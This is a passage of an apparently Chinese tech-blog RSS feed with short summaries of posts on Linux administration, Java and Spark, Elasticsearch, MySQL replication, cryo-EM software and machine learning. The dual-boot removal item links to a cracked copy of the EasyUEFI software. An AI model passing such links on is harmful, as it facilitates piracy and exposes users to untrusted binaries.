      <description> 描述 输出两个整数的和&#xA;输入 第1行是一个正整数n，表示测试样例的数量。&#xA;从第2~第n+1行，每行为一组测试数据，包含两个整数，用空格相隔。&#xA;输出 针对每行测试数据，输出这行两个整数的和，以换行符相隔。&#xA;样例输入 复制样例 2&#xA;1 2&#xA;3 4&#xA;样例输出 3&#xA;7&#xA;HINT 每输入一行案例，就要输出一行结果，不能都输入完再输出。参考代码如下&#xA;#include&amp;lt;iostream&amp;gt;&#xA;using namespace std;&#xA;int main()&#xA;{&#xA;int n;&#xA;cin &amp;gt;&amp;gt; n;&#xA;for (int i = 0; i &amp;lt; n; i++) //这行也可以写成while(n--)&#xA;{&#xA;int a, b;&#xA;cin &amp;gt;&amp;gt; a &amp;gt;&amp;gt; b;&#xA;cout &amp;lt;&amp;lt; a + b &amp;lt;&amp;lt; endl;&#xA;}&#xA;return 0;&#xA;}&#xA;解：&#xA;为了顺序完整，这个还是发一下QWQ&#xA;#include&amp;lt;iostream&amp;gt; #include&amp;lt;cmath&amp;gt; using namespace std; int main() { int n; cin&amp;gt;&amp;gt;n; for(int i=0;i&amp;lt;n;i++) { int a,b; cin&amp;gt;&amp;gt;a&amp;gt;&amp;gt;b; cout&amp;lt;&amp;lt;a+b&amp;lt;&amp;lt;endl; } return 0; } </description>
    </item>
    <item>
      <title>ubuntu16.04内核版本降低（回退到之前版本）</title>
      <link>https://bchobby.github.io/posts/8558a2500974fa7b08b884cb4f305830/</link>
      <pubDate>Mon, 19 Oct 2020 19:19:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8558a2500974fa7b08b884cb4f305830/</guid>
      <description>ubuntu16.04内核版本降低（回退到之前版本）&#xA;打开终端，输入&#xA;grep menuentry /boot/grub/grub.cfg 可以看到很多已经下载的内核版本。我好久没有重启电脑了，发现它偷偷下载了这么多内核，无语。。。&#xA;电脑当前还是使用的最老的（截图中最低部的版本），一旦重启电脑，就会默认使用最新的版本（截图中最上面的版本）。&#xA;注意：这会导致驱动啥的使用不了，超级坑！！！&#xA;现在需要把内核设置为：默认启用最老版本（截图中最下面版本）。&#xA;打开grub文件。 sudo nano /etc/default/grub 把修改上面的GRUB_DEFAULT的值修改为第一张截图中内核的版本（倒数第二行，红框框出的部分）。&#xA;然后保存退出。之后我们使用命令，使修改内容生效： sudo update-grub 可以看到，刚刚的修改的“值”，报Warning，然后给你推荐了“新的值”，即上图红色框中字符串，将它复制出来，替换刚刚修改的值。 之后我们第二次使用命令，使修改内容生效： sudo update-grub 完成！</description>
    </item>
    <item>
      <title>Ubuntu18.04 设置开机自动启动程序、脚本</title>
      <link>https://bchobby.github.io/posts/67febd95fa0bdc1f01f4211d41963429/</link>
      <pubDate>Mon, 19 Oct 2020 17:21:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67febd95fa0bdc1f01f4211d41963429/</guid>
      <description>参考：&#xA;1.该文中的方法4&#xA;2.该文中的后半部分&#xA;最近在使用Ubutnu18.04，我突然发现没有rc.local文件了，原来是因为在新版本全部统一使用systemctl来管理服务了，开机自启动服务也不例外。&#xA;打开rc-local.service文件 sudo vim /lib/systemd/system/rc-local.service 打开的文件中，可以看到已经存在[Unit]、[Service]模块。在尾部，添加[install]参数，并保存退出。 [Install] WantedBy=multi-user.target Alias=rc-local.service 创建rc.local文件 touch /etc/rc.local 将下列内容复制进rc.local文件，我的示例中添加了两个需要启动的“程序” #!/bin/sh -e # # rc.local # # This script is executed at the end of each multiuser runlevel. # Make sure that the script will &#34;exit 0&#34; on success or any other # value on error. # # In order to enable or disable this script just change the execution # bits. # # By default this script does nothing.</description>
    </item>
    <item>
      <title>04.内置analyzer和analyze-API使用</title>
      <link>https://bchobby.github.io/posts/8a3d2a6bc4f8e97318b6ce96f5fe637d/</link>
      <pubDate>Mon, 19 Oct 2020 15:13:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a3d2a6bc4f8e97318b6ce96f5fe637d/</guid>
      <description>文章目录 1. 自带的analyzer1. 主要analyzer的解析1. standard analyzer2. simple analyzer3. whitespace analyzer4. stop analyzer5. keyword analyzer: 会将所有的输入当做一个token输出6. pattern analyzer7. language analyzer: es提供了一些语言识别的analyzer8. fingerprint analyzer 2. analyze API使用3. 自定义一个analyzer4. 实际业务场景实现 1. 自带的analyzer standard analyzer: 按照unicode 定义的word boundary进行切分，会移除大部分的标点符号，并且将token转成小写，同时支持自定义一些stop words。simple analyzer: 遇到不是letter的char就切词，并且将token转化为小写。whitespace analyzer: 遇到空格时切词，不会进行小写转换stop analyzer: 在simple analyzer的基础上增加了stop words的功能keyword analyzer: 会将所有的输入当做一个token输出pattern analyzer: 使用正则匹配的值作为切分点得到token,支持lowercase convert 和 stop wordslanguage analyzer: es提供了一些语言识别的analyzerfingerprint analyzer: 会将输入进行lowercase,sorted,deduplicated 然后连接成一个token输出 1. 主要analyzer的解析 1. standard analyzer 按照unicode 定义的word boundary进行切分，会移除大部分的标点符号，并且将token转成小写，同时支持自定义一些stop words。&#xA;1.配置信息&#xA;max_token_length: token的最大长度，默认为255&#xA;stopwords: 停用词，可以引用一些预定义的（比如_english_,参考stop token filter 可以看到这些预定义的信息 这里）,也可以直接在这里定一个一个word list.</description>
    </item>
    <item>
      <title>使用SeaDas对Sentinel-3(OLCI)、Sentinel-2(MSI)进行大气校正</title>
      <link>https://bchobby.github.io/posts/4c976cc59df93947be403523fd734320/</link>
      <pubDate>Mon, 19 Oct 2020 12:52:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c976cc59df93947be403523fd734320/</guid>
      <description>目录 1.前言&#xA;2.程序安装&#xA;3.处理事例&#xA;建了一个QQ群，大家可以在里边聊聊水色遥感数据下载和数据处理方面的事情：1087024529&#xA;1.前言 最近，有小伙伴询问我关于使用SeaDas-OCSSW对OLCI和MSI进行大气校正的步骤。起初我还十分震惊，因为下边这张图，在安装OCSSW支持的传感器的GUI界面中，没有显示OLCI和MSI传感器，所以我一直以为SeaDas-OCSSW无法处理OLCI和MSI。&#xA;但后来证明，我错了。其实OCSSW提供了对OLCI和MSI的大气校正功能，只是并没有把它放在GUI界面中进行安装，只能使用脚本进行安装.&#xA;OCSSW提供的安装说明如下：https://oceandata.sci.gsfc.nasa.gov/ocssw/&#xA;接下来，我就演示安装OCSSW对OLCI和MSI的支持程序，以及使用OCSSW对OLCI和MSI进行大气校正。&#xA;在这之前，请安装和配置好SeaDas和OCSSW。安装过程：在Ubuntu系统下安装配置SeaDas与问题解决方法总结&#xA;2.程序安装 2.1.找到install_ocssw.py脚本的路径。如果之前安装过OCSSW对其他传感器的支持，那么install_ocssw.py的一般在：&#xA;/ocssw在你电脑上的路径/scripts/install_ocssw.py 如果之前没有安装过，那么在ocean color官网上下载该脚本。&#xA;我的建议是先在OCSSW安装的GUI界面中安装一个传感器的支持模块，这样会方便很多。&#xA;2.2.可以在SeaDas的帮助文档中找到install_ocssw.py的说明。如下图所示：&#xA;通过该文档，就可以进行安装。在命令行中输入：&#xA;python install_ocssw.py的路径 --install-dir=安装路径 --msis2a[后面跟要处理的传感器数据] 例如，这里给一个例子&#xA;python install_ocssw.py --install-dir=/home/hyzhao/seadas-7.5.3/ocssw --msis2a --msis2b --olcis3a --olcis3b 等程序运行结束，就安装成功了。&#xA;3.处理事例 3.1.安装成功后，我们要想使用OCSSW对OCLI和MSI数据进行大气校正，还得在命令行中进行，GUI界面暂不提供对MSI、OLCI的支持。其实这样也好，在命令行里运行命令，可以方便的进行批处理。&#xA;OCSSW的大气校正程序为l2gen。如果你OCSSW的配置成功的话(如何配置见第1部分中提到的博客)，在命令行中直接输入l2gen，会出现：&#xA;如果没有配置好，就会提示没有该命令的提示。配置过程见：在Ubuntu系统下安装配置SeaDas与问题解决方法总结，这里不再赘述。&#xA;3.2.在seadas的帮助中，找到l2gen的帮助文档，可以看到使用命令行调用时需要指定的参数。由于参数过多，我这里不一一介绍，大家仔细阅读说明文档自行设置参数。注意l2gen可以处理很多传感器。不同的传感器，参数设置会有区别。&#xA;我这里提供一个例子，使用l2gen处理OLCI数据。在命令行中，我只指定了文件的输入路径和结果输出路径(ifile指定输入路径, ofile指定输出文件路径。输入文件路径选择OLCI的xml文件。处理MSI传感器时，输入文件选择manifest.safe文件)：&#xA;l2gen ifile=/home/hyzhao/ShareWin/Data/S3A_OL_1_EFR____20190514T020524_20190514T020824_20190515T053120_0179_044_331_2520_LN1_O_NT_002/S3A_OL_1_EFR____20190514T020524_20190514T020824_20190515T053120_0179_044_331_2520_LN1_O_NT_002.SEN3/xfdumanifest.xml ofile=/home/hyzhao/ShareWin/Data/test.nc 等待处理结束，也就完成了对数据的大气校正！</description>
    </item>
    <item>
      <title>【大数据开发】SparkCore、SparkSQL综合练习——对农产品数据进行分析</title>
      <link>https://bchobby.github.io/posts/8488678737c1ce08506c75d26234ddf6/</link>
      <pubDate>Sat, 17 Oct 2020 17:37:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8488678737c1ce08506c75d26234ddf6/</guid>
      <description>发现一个idea很神奇的功能，每次写一堆算子的时候，先在最后面写一个Action算子过去，然后再从中间开始写transformation算子，这个时候神奇的事情发生了，在每个算子后面会显示出灰色的返回值类型！！！&#xA;文章目录 一、数据背景二、数据类型三、功能要求四、SparkCore代码实现4.1 农产品市场个数统计4.2农产品种类统计4.3计算山西省每种农产品的价格波动趋势 五、SparkSQL代码实现六、业务数据 一、数据背景 该数据每日进行采集汇总。数据范围涵盖全国主要省份（港澳台、西藏、海南暂无数据）的180+的大型农产品批发市场，380+的农产品品类（由于季节性和地域性等特点，每日的数据中不一定会涵盖全部的农产品品类）。&#xA;二、数据类型 农产品批发市场价格数据products.txt&#x9;中文名称&#x9;英文名称&#x9;数据类型 农产品名称(列1)&#x9;name&#x9;string 批发价格(列2)&#x9;price&#x9;float 采集时间(列3)&#x9;craw_time&#x9;timestamp 批发市场名称(列4)&#x9;market&#x9;string 省份(列5)&#x9;province&#x9;string 城市(列6)&#x9;city&#x9;string 三、功能要求 要求使用分别使用RDD、DataFrame两种方式实现&#xA;1、农产品市场个数统计&#xA;（省份，蔬菜，1）&#xA;1)统计每个省份的农产品市场总数&#xA;2)统计没有农产品市场的省份有哪些&#xA;2、农产品种类统计&#xA;1)根据农产品类型数量，统计排名前 3 名的省份&#xA;2)根据农产品类型数量，统计每个省份排名前 3 名的农产品市场&#xA;3、价格区间统计,计算山西省每种农产品的价格波动趋势，即计算每天价格均值，并将结果输出到控制台上。&#xA;某种农产品的价格均值计算公式：&#xA;PAVG = (PM1+PM2+…+PMn-max§-min§)/(N-2)&#xA;其中，P 表示价格，Mn 表示 market，即农产品市场。PM1 表示 M1 农产品市场的该产品价格，max§表示价格最大值，min§价格最小值。&#xA;四、SparkCore代码实现 4.1 农产品市场个数统计 4.1.1&#xA;import org.apache.spark.rdd.RDD import org.apache.spark.{SparkConf, SparkContext} /** * 1)统计每个省份的农产品市场总数 */ object ByRdd_1_1 { private val sc: SparkContext = new SparkContext(new SparkConf().</description>
    </item>
    <item>
      <title>nohup，linux后台挂起</title>
      <link>https://bchobby.github.io/posts/41e4bc4af574706324dc6633be235007/</link>
      <pubDate>Sat, 17 Oct 2020 16:01:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41e4bc4af574706324dc6633be235007/</guid>
      <description>一、Linux 下使用 nohup&#xA;Unix/Linux下一般比如想让某个程序在后台运行，很多都是使用 &amp;amp; 在程序结尾来让程序自动运行。&#xA;比如我们要运行weblogic在后台：&#xA;./startWebLogic.sh &amp;amp;&#xA;但是加入我们很多程序并不象weblogic一样做成守护进程，可能我们的程序只是普通程序而已，一般这种程序使用 &amp;amp;结尾。&#xA;但是如果终端关闭，那么程序也会被关闭。&#xA;但是为了能够后台运行，那么我们就可以使用nohup这个命令。&#xA;比如我们有个startWebLogic.sh需要在后台运行，那么就使用nohup：&#xA;nohup ./startWebLogic.sh &amp;amp;&#xA;提示：&#xA;[~]$ appending output to nohup.out&#xA;嗯，证明运行成功，同时把程序运行的输出信息放到当前目录的 nohup.out 文件中去。&#xA;nohup 命令&#xA;用途：LINUX命令用法，不挂断地运行命令。&#xA;语法：nohup Command [ Arg ... ] [　&amp;amp; ]&#xA;描述：nohup 命令运行由 Command 参数和任何相关的 Arg 参数指定的命令，忽略所有挂断（SIGHUP）信号。&#xA;在注销后使用 nohup 命令运行后台中的程序。要运行后台中的 nohup 命令，添加 &amp;amp; （ 表示“and”的符号）到命令的尾部。&#xA;nohup: ignoring input and appending output to `nohup.out&#39; 忽略输入输出，将信息化信息记录到nohup.out文件中。&#xA;二、使用Linux重定向解决nohup.out无写权限问题&#xA;■场景&#xA;执行nohup命令的时候，经常会出现下面这种没有写入权限的错误。&#xA;nohup: ignoring input and appending output to `nohup.</description>
    </item>
    <item>
      <title>F28335之EMI抑制问题</title>
      <link>https://bchobby.github.io/posts/69a0a754034eed2cec3193ad6c7943ac/</link>
      <pubDate>Fri, 16 Oct 2020 19:48:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69a0a754034eed2cec3193ad6c7943ac/</guid>
      <description>1.供电电源&#xA;当负载突变时会导致电源线中产生电流尖峰，电流尖峰对电源线上的其他器件会产生较为强烈的电磁干扰。例如，F28335DSP的ePWM模块输出的脉宽调制信号经驱动芯片 驱动光电转换器件，而芯片与DSP使用同一个3.3V的电源电压，当PWM为高电平时，芯片会吸收较大的电流，从而在3.3V电源线上产生电流尖峰，可能会对DSP造成电磁干扰。&#xA;以上问题可在DSP供电引脚添加100nF的旁路电容。另外通常在电源线上放置磁珠，将尖峰电流转换成热量散发掉。&#xA;2.高频信号线&#xA;高频信号线在板上的距离尽可能缩短。另可串联50欧姆电阻，减小尖峰电流&#xA;3.时钟振荡器&#xA;选择合适的电容进行π型滤波</description>
    </item>
    <item>
      <title>element-ui 分页组件 动态设置默认页码</title>
      <link>https://bchobby.github.io/posts/c9d7f824353dce76778b32258ee3df72/</link>
      <pubDate>Fri, 16 Oct 2020 17:05:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9d7f824353dce76778b32258ee3df72/</guid>
      <description> 1、在分页组件中加入ref以控制节点&#xA;&amp;lt;el-pagination background layout=&#34;prev, pager, next&#34; :page-size=&#34;10&#34; :current-page=&#34;screenList.pageNo&#34; @current-change=&#34;handleCurrentChange&#34; :total=&#34;total&#34; ref=&#34;pagination&#34;&amp;gt; &amp;lt;/el-pagination&amp;gt; 2、设置pagination属性&#xA;this.$refs.pagination.internalCurrentPage = this.screenList.pageNo; </description>
    </item>
    <item>
      <title>双系统（win10和ubuntu）删除Ubuntu</title>
      <link>https://bchobby.github.io/posts/8352162b1867ffbbcadb4e139ebef5c2/</link>
      <pubDate>Fri, 16 Oct 2020 16:35:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8352162b1867ffbbcadb4e139ebef5c2/</guid>
      <description>一、判断BLOS的两种模式：Legacy和UEFI win+R打开运行，输入msinfo32，查看系统信息，在BIOS模式中如果显示“传统”，表示系统启动方式为Legacy BIOS；如果为UEFI，则显示UEFI。&#xA;参考链接：https://www.ithome.com/html/win10/146588.htm&#xA;二、UEFI情况下删除Ubuntu 1、下载EasyUEFI软件&#xA;软件下载地址：https://www.easyuefi.com/index-us.html&#xA;或者百度网盘链接（试用版）：https://pan.baidu.com/s/1ONrTG69spnGkCsGpQdN5jg&#xA;提取码：7gdr&#xA;试用版过期时，4.6版本的破译版：https://pan.baidu.com/s/1KOqf6SuQ-t1FP9i2lhSGWg&#xA;提取码：6fe0&#xA;EasyUEFI中的Setup.exe是安装文件&#xA;然后将x64中的三个文件复制到安装目录的bin目录下&#xA;2、打开EasyUEFI（我的是试用版）&#xA;选择“管理EFI启动项”&#xA;3、选择ubuntu系统，点击删除按钮。&#xA;4、重启，可以发现直接就可以进入windows系统。然后删除ubuntu所在的分区（此电脑-》右击”管理“-》存储-》磁盘管理）。【注：恢复分区/EFI分区是安装windows系统时默认安装的】（下图展示的是已经删除过ubuntu的磁盘管理）&#xA;UEFI下删除ubuntu的参考博客链接：https://www.cnblogs.com/exciting/p/11430173.html&#xA;https://blog.csdn.net/cfqcfqcfqcfqcfq/article/details/54729200&#xA;三、Legacy 参考博客链接：https://www.jianshu.com/p/66a092caaa36</description>
    </item>
    <item>
      <title>aop 多数据源</title>
      <link>https://bchobby.github.io/posts/cfa3d31fa363c20ce6fbb892d4364d2f/</link>
      <pubDate>Fri, 16 Oct 2020 13:14:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cfa3d31fa363c20ce6fbb892d4364d2f/</guid>
      <description>此方法是在需要使用的地方加上自定义注解@DataSource&#xA;根据注解下这个方法的传参 注意: (规定参数命名)&#xA;配置文件yml&#xA;spring: datasource: type: com.zaxxer.hikari.HikariDataSource hikari: minimum-idle: 5 maximum-pool-size: 15 auto-commit: true idle-timeout: 30000 pool-name: HikariCP max-lifetime: 1800000 connection-timeout: 30000 ds1: jdbc-url: jdbc:mysql://localhost:3306/pubs?serverTimezone=GMT%2B8&amp;amp;useUnicode=true&amp;amp;characterEncoding=utf-8 username: root password: 1234 driver-class-name: com.mysql.jdbc.Driver ds2: jdbc-url: jdbc:mysql://localhost:3306/test?serverTimezone=GMT%2B8&amp;amp;useUnicode=true&amp;amp;characterEncoding=utf-8 username: root password: 1234 driver-class-name: com.mysql.jdbc.Driver config配置文件 /** * 配置Druid 多个数据源和 Druid监控Servlet * * 所有的数据源配置都在这里 要添加多个的话 * * */ @Configuration public class DataSourceConfig { private static final Logger log = LoggerFactory.getLogger(DataSourceConfig.class); //数据源一 @Bean(name = &#34;</description>
    </item>
    <item>
      <title>SpringBoot整合minio文件系统实现文件上传并返回文件的可访问路径</title>
      <link>https://bchobby.github.io/posts/ffe857d2f12d6360c72f608f47eda0e6/</link>
      <pubDate>Fri, 16 Oct 2020 11:55:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ffe857d2f12d6360c72f608f47eda0e6/</guid>
      <description>今天项目中甲方指定了一个以前没用过的文件服务器，捅咕半天，记录一下使用方法。&#xA;1.导入依赖 &amp;lt;!-- springboot整合minio --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;io.minio&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;minio&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.0.10&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2.配置文件 upload: url: http://ip:端口 accessKey: 公钥 secretKey: 密钥 3.controller import com.google.api.client.util.IOUtils; import com.ruoyi.system.domain.Result; import io.minio.MinioClient; import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.*; import org.springframework.web.multipart.MultipartFile; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; import java.util.UUID; /** * @author yhd * @createtime 2020/10/16 11:13 * 文件上传到minio服务器的接口 */ @RestController @RequestMapping(&#34;file&#34;) public class FileUpLoadController { @Value(&#34;${upload.url}&#34;) private String url ; @Value(&#34;${upload.accessKey}&#34;) private String accessKey ; @Value(&#34;${upload.secretKey}&#34;) private String secretKey ; @PostMapping(&#34;</description>
    </item>
    <item>
      <title>C&#43;&#43;STL</title>
      <link>https://bchobby.github.io/posts/d5342ec29488030b335168a5b86470af/</link>
      <pubDate>Fri, 16 Oct 2020 11:21:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5342ec29488030b335168a5b86470af/</guid>
      <description>引言： 在堆空间中动态申请内存时，此时长度可以是变量，这种定义方式可根据变量 n 动态申请内存，不会出现存储空间浪费的问题。但是，如果程序执行过程中出现空间不足的情况时，则需要加大存储空间，此时需要进行三个步骤：&#xA;新申请一个较大的内存空间将原内存空间的数据全部复制到新申请的内存空间中将原来的堆空间释放&#xA;而完成相同的操作，如果采用 STL 标准库，则会简单很多，因为大多数操作细节将不需要程序员关心。 STL的作用便是使程序员可以集中精力去实现程序的功能，而无需再纠结某些细节如何用代码实现。 STL容器： 简单的理解容器，它就是一些模板类的集合，但和普通模板类不同的是，容器中封装的是组织数据的方法（也就是数据结构）。STL 提供有 3 类标准容器，分别是序列容器、排序容器和哈希容器，其中后两类容器有时也统称为关联容器。&#xA;序列容器 主要包括 vector 向量容器、list 列表容器以及 deque双端队列容器。之所以被称为序列容器，是因为元素在容器中的位置同元素的值无关，即容器不是排序的。将元素插入容器时，指定在什么位置，元素就会位于什么位置。排序容器 包括 set 集合容器、multiset多重集合容器、map映射容器以及 multimap多重映射容器。排序容器中的元素默认是由小到大排序好的，即便是插入元素，元素也会插入到适当位置。所以关联容器在查找时具有非常好的性能。哈希容器 C++ 11 新加入 4 种关联式容器，分别是 unordered_set 哈希集合、unordered_multiset哈希多重集合、unordered_map 哈希映射以及 unordered_multimap哈希多重映射。和排序容器不同，哈希容器中的元素是未排序的，元素的位置由哈希函数确定。 STL迭代器 简单来讲，迭代器和 C++ 的指针非常类似，它可以是需要的任意类型，通过迭代器可以指向容器中的某个元素，如果需要，还可以对该元素进行读/写操作。&#xA;前向迭代器（forward iterator）&#xA;假设 p 是一个前向迭代器，则 p 支持 ++p，p++，*p 操作，还可以被复制或赋值，可以用 == 和 != 运算符进行比较。此外，两个正向迭代器可以互相赋值。&#xA;双向迭代器（bidirectional iterator）&#xA;双向迭代器具有正向迭代器的全部功能，除此之外，假设 p 是一个双向迭代器，则还可以进行 --p 或者 p-- 操作（即一次向后移动一个位置）。&#xA;随机访问迭代器（random access iterator）&#xA;随机访问迭代器具有双向迭代器的全部功能。除此之外，假设 p 是一个随机访问迭代器，i 是一个整型变量或常量，则 p 还支持以下操作：&#xA;p+=i：使得 p 往后移动 i 个元素。</description>
    </item>
    <item>
      <title>[cryoEM] cryoSPARC入门教程：处理T20S Proteasome</title>
      <link>https://bchobby.github.io/posts/6106fe81d3cd589879ae9005ff39efe6/</link>
      <pubDate>Fri, 16 Oct 2020 08:40:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6106fe81d3cd589879ae9005ff39efe6/</guid>
      <description> 官方教程指路&#xA;创建新的job（快捷键：N）在该job中，创建新的workspace（快捷键：N）下载数据集（约８G）。命令：cryosparcm downloadtest，然后解压tar -xf empiar_10025_subset.tar。导入Movies。运动矫正。CTF矫正。颗粒挑选（先手动）&#xA;box size一般设置成颗粒半径的两倍。本例中，在20张图片中挑选出100左右个颗粒。尝试捕捉顶部和侧面视图的多样性。&#xA;左键选中颗粒，右键取消选中。可以使用低通滤波器滑块来调整显微照片的显示，和在需要时调整box size。颗粒挑选（基于模板）&#xA;二维分类。（这里分成10类。）然后在分类结果里选择最清晰可靠的几个类（这里分别选择了顶部和侧面两个较清晰的类）。&#xA;然后基于这两个类作为模板，进行自动颗粒挑选。检查挑选结果。&#xA;直方图显示了所有拾取位置的统计信息，包括假阳性和真颗粒。真实粒子通常具有较高的NCC评分（表示与模板的形状一致）和较高的功率评分（表示信号的存在）。功率太小的挑选大概率是冰（背景），功率很大的可能是碳边缘、冰晶和堆积的颗粒。提取颗粒。从显微照片中提取颗粒。二维分类。大约分成50类(≈15min)。选择二维分类结果。从头开始的重建。均匀细化。锐化。&#xA;需要输入B-Factor，要是负值。得到map。检查流程。tree视图。 </description>
    </item>
    <item>
      <title>mysql主从复制</title>
      <link>https://bchobby.github.io/posts/7c728a1106534459d5ef02db9a679927/</link>
      <pubDate>Thu, 15 Oct 2020 16:21:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c728a1106534459d5ef02db9a679927/</guid>
      <description>关闭防火墙&#xA;selinux&#xA;主节点&#xA;vi /etc/my.cnf [mysqld] server-id=204 #建议使用本机IP地址末尾 log-bin 重启 systemctl restart mariadb 在masher myslq创建用户&#xA;查看二进制文件和位置 mysql&amp;gt; show master logs; +-------------------+-----------+ | Log_name | File_size | +-------------------+-----------+ | igcllq-bin.000001 | 177 | | igcllq-bin.000002 | 414 | +-------------------+-----------+ 2 rows in set (0.00 sec) 创建复制用户 MariaDB [(none)]&amp;gt; grant replication slave on *.* to repluser@&#39;10.0.0.%&#39; identified by &#39;000000&#39;; #repluser是用户名 #000000 是密码 #10.0.0.% 10网段都可以登录 从节点&#xA;修改配置文件&#xA;vi /etc/my.cnf [mysqld] server-id=7 #建议使用本机IP地址末尾 重启 systemctl restart mariadb CHANGE MASTER TO MASTER_HOST=&#39;10.</description>
    </item>
    <item>
      <title>GoogleNews-vectors-negative300.bin文件下载</title>
      <link>https://bchobby.github.io/posts/51e7b3f8239479666f2aa847d9761f36/</link>
      <pubDate>Thu, 15 Oct 2020 15:39:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51e7b3f8239479666f2aa847d9761f36/</guid>
      <description>GoogleNews-vectors-negative300.bin文件下载 GoogleNews-vectors-negative300.bin文件下载 下载地址求助 GoogleNews-vectors-negative300.bin文件下载 下载地址 百度云：链接：https://pan.baidu.com/s/1bPai4AqcMIUFNVL0G2ByKw&#xA;提取码：knjh&#xA;如果有用麻烦点个赞哈~&#xA;求助 希望有NLP大神讲一下这个包里面的东西。</description>
    </item>
    <item>
      <title>java代码操作hadoop基本命令（基本版）</title>
      <link>https://bchobby.github.io/posts/a83c7709175df7f9d3e27fca9865d23f/</link>
      <pubDate>Thu, 15 Oct 2020 14:33:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a83c7709175df7f9d3e27fca9865d23f/</guid>
      <description>import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.BlockLocation; import org.apache.hadoop.fs.FSDataInputStream; import org.apache.hadoop.fs.FSDataOutputStream; import org.apache.hadoop.fs.FileStatus; import org.apache.hadoop.fs.FileSystem; import org.apache.hadoop.fs.LocatedFileStatus; import org.apache.hadoop.fs.Path; import org.apache.hadoop.fs.RemoteIterator; import org.apache.hadoop.io.IOUtils; import org.junit.After; import org.junit.Before; import org.junit.Test; import java.io.BufferedReader; import java.io.File; import java.io.FileOutputStream; import java.io.FileWriter; import java.io.IOException; import java.io.InputStreamReader; import java.net.URI; import java.net.URISyntaxException; public class hdfs { private final String hdfs_path=&#34;hdfs://bigdata01:9000&#34;; private FileSystem fileSystem=null; private Configuration configuration=null; @Before public void setUp() throws URISyntaxException, IOException, InterruptedException { //获取Configuration配置对象 configuration = new Configuration(); //设置副本数 //configuration.</description>
    </item>
    <item>
      <title>机器学习实战——k-近邻算法</title>
      <link>https://bchobby.github.io/posts/3236ff7f9f2dad1ee8c5cfbdcca9bccb/</link>
      <pubDate>Wed, 14 Oct 2020 21:41:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3236ff7f9f2dad1ee8c5cfbdcca9bccb/</guid>
      <description>k-近邻算法 算法流程距离计算方法代码实现示例示例1： 在约会网站上使用k-近邻算法1.准备数据：从文本文件中解析数据2.分析数据：使用Matplotlib创建散点图3.准备数据：归一化数值4.测试算法：作为完整程序验证分类器5.使用算法：构建完整可用系统 示例2：手写识别系统1.准备数据：将图像转换为测试向量2.测试算法：使用k-近邻算法识别手写数字 小结 算法流程 1.收集数据&#xA;2.计算目标数据与样本数据的距离&#xA;3.将计算得到的距离进行递增排序&#xA;4.选取与目标数据距离最小的k个样本数据&#xA;5.统计前k个样本数据分类出现的频率&#xA;5.前k个样本数据值对应的分类出现频率最高的类别则为目标数据的类别&#xA;距离计算方法 使用欧式距离公式，计算两个向量点xA和xB之间的距离：&#xA;代码实现 from numpy import * import operator # 运算符模块 # 导入数据 def createDataSet(): group = array([[1.0, 1.1], [1.0, 1.0], [0, 0], [0, 0.1]]) labels = [&#39;A&#39;, &#39;A&#39;, &#39;B&#39;, &#39;B&#39;] return group, labels #k-近邻算法 def classify(inX, dataSet, labels, k): dataSetSize = dataSet.shape[0] # 样本数据集样本数目 diffMat = tile(inX, (dataSetSize, 1)) - dataSet # 将目标数据与每个样本数据做差 sqDiffMat = diffMat ** 2 # 将矩阵每个元素平方 sqDistances = sqDiffMat.</description>
    </item>
    <item>
      <title>EfficientNet-B0详解</title>
      <link>https://bchobby.github.io/posts/006d235f7da3346bb8396b1574efabdc/</link>
      <pubDate>Wed, 14 Oct 2020 21:31:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/006d235f7da3346bb8396b1574efabdc/</guid>
      <description>文章转载来自：Dormineered&#xA;内容有些词汇翻译不准确，请见谅！！！个人整理不易，包含参数计算内容，更多训练阶段细节会在后期更新。转载请注明&#xA;EfficientNets是谷歌大脑的工程师谭明星和首席科学家Quoc V. Le在论文《EfficientNet: Rethinking Model Scaling for Convolutional Neural Networks》中提出。该模型的基础网络架构是通过使用神经网络架构搜索（neural architecture search）设计得到。卷积神经网络模型通常是在已知硬件资源的条件下，进行训练的。当你拥有更好的硬件资源时，可以通过放大网络模型以获得更好的训练结果。为系统的研究模型缩放，谷歌大脑的研究人员针对EfficientNets的基础网络模型提出了一种全新的模型缩放方法，该方法使用简单而高效的复合系数来权衡网络深度、宽度和输入图片分辨率。&#xA;通过放大EfficientNets基础模型，获得了一系列EfficientNets模型。该系列模型在效率和准确性上战胜了之前所有的卷积神经网络模型。尤其是EfficientNet-B7在ImageNet数据集上得到了top-1准确率84.4%和top-5准确率97.1%的结果。且它和当时准确率最高的其它模型对比，大小缩小了8.4倍，效率提高了6.1倍。且通过迁移学习，EfficientNets在多个知名数据集上均达到了当时最先进的水平。&#xA;EfficientNets网络模型结构&#xA;本案例中我们选用EfficientNets系列中的基础网络模型EfficientNet-B0。 当该模型在ImageNet数据集上训练时，其一共包含5330564个参数，其中需要梯度下降来训练的参数有5288548个。不需要训练的参数是Batch Normalization层中的均值和方差共42016个。该网络的核心结构为移动翻转瓶颈卷积（mobile inverted bottleneck convolution，MBConv）模块，该模块还引入了压缩与激发网络（Squeeze-and-Excitation 